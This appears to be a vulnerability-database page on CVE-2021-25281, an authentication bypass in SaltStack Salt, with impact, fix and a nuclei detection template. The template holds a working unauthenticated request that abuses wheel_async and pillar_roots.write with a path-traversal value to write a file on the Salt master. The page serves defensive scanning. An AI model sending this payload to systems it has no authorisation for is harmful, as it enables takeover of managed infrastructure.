HexBrain

Browse / CVEs / CVE-2021-25281

CVE-2021-25281· saltstack / salt· CWE-287

SaltStack Salt <3002.5 - Auth Bypass

criticalseverity
9.8CVSS score
72.9%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.

Impact

Unauthenticated attackers can remotely execute any wheel modules on the Salt master by bypassing eauth credentials, leading to complete infrastructure compromise and control over all managed systems.

Fix

Upgrade to SaltStack Salt version 3002.5 or later to mitigate this vulnerability.

How to confirm it

Send: POST /run
Positive when: contains "return" and "tag" and "jid" and "salt" AND status 200

Run it with nuclei: nuclei -id CVE-2021-25281 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-25281

info:
  name: SaltStack Salt <3002.5 - Auth Bypass
  author: madrobot
  severity: critical
  description: SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.
  impact: |
    Unauthenticated attackers can remotely execute any wheel modules on the Salt master by bypassing eauth credentials, leading to complete infrastructure compromise and control over all managed systems.
  remediation: |
    Upgrade to SaltStack Salt version 3002.5 or later to mitigate this vulnerability.
  reference:
    - http://hackdig.com/02/hack-283902.htm
    - https://dozer.nz/posts/saltapi-vulns
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25281
    - https://github.com/saltstack/salt/releases
    - https://www.saltstack.com/blog/active-saltstack-cve-announced-2021-jan-21/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-25281
    cwe-id: CWE-287
    epss-score: 0.72945
    epss-percentile: 0.99456
    cpe: cpe:2.3:a:saltstack:salt:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: saltstack
    product: salt
  tags: cve,cve2021,saltapi,rce,saltstack,unauth,vuln,vkev

http:
  - raw:
      - |
        POST /run HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "return"
          - "tag"
          - "jid"
          - "salt"
          - "wheel"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from